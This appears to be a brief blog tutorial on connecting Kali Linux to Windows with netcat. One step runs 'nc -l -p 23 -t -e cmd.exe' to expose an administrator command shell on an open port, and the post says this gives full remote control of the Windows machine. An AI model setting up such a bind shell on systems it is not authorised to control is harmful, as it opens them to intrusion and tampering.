communication between Windows and kali Linux using netcat

Posted: 9 Jul 2019 in HACKING
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Learn to use netcat command in windows and kali Linux both. learn to communicate using netcat.Learn the installation  and configuration of netcat on windows and kali Linux.ncat is an important and light weight network penetration testing and ethical hacking tool available for almost all operating system.

Here we will discuss about ncat command or netcat or nc command line tool.

This tool is used for penetration testing as well as information gathering and gaining the access of any machine.


Step 1:First download netcat on Windows machine using the below link

Download ncat tool for Windows from here.

Step2:extract the compress file


Step3: Copy the file to C Drive

Step 4: Check  whether nc or nc64 file exit in that folder or not.

Step5: Open your command prompt as administrator and run the below command


>nc -l  -p 23 -t  -e cmd.exe

this will open port 23 on Windows Machine.

now anyone can connect to this port remotely.


Step6:  Go to Your kali Linux Machine and open the Terminal.

Login to Your kali Linux Machine and use your terminal to use this command.


Step7: Download ncat on kali Linux

By default ncat command is not installed in Kali Linux,so you have to install it manually using apt-get.

Step7: Run the below command in terminal

#ncat ipaddressofwindowsmachine portnumber

now you can see windows machine get connected with from kali Linux using ncat here.

I get connected with Windows machine using ncat from kali Linux Machine. and Now i can check and find anything from windows or can edit,delete or create anything in windows using the command promt.



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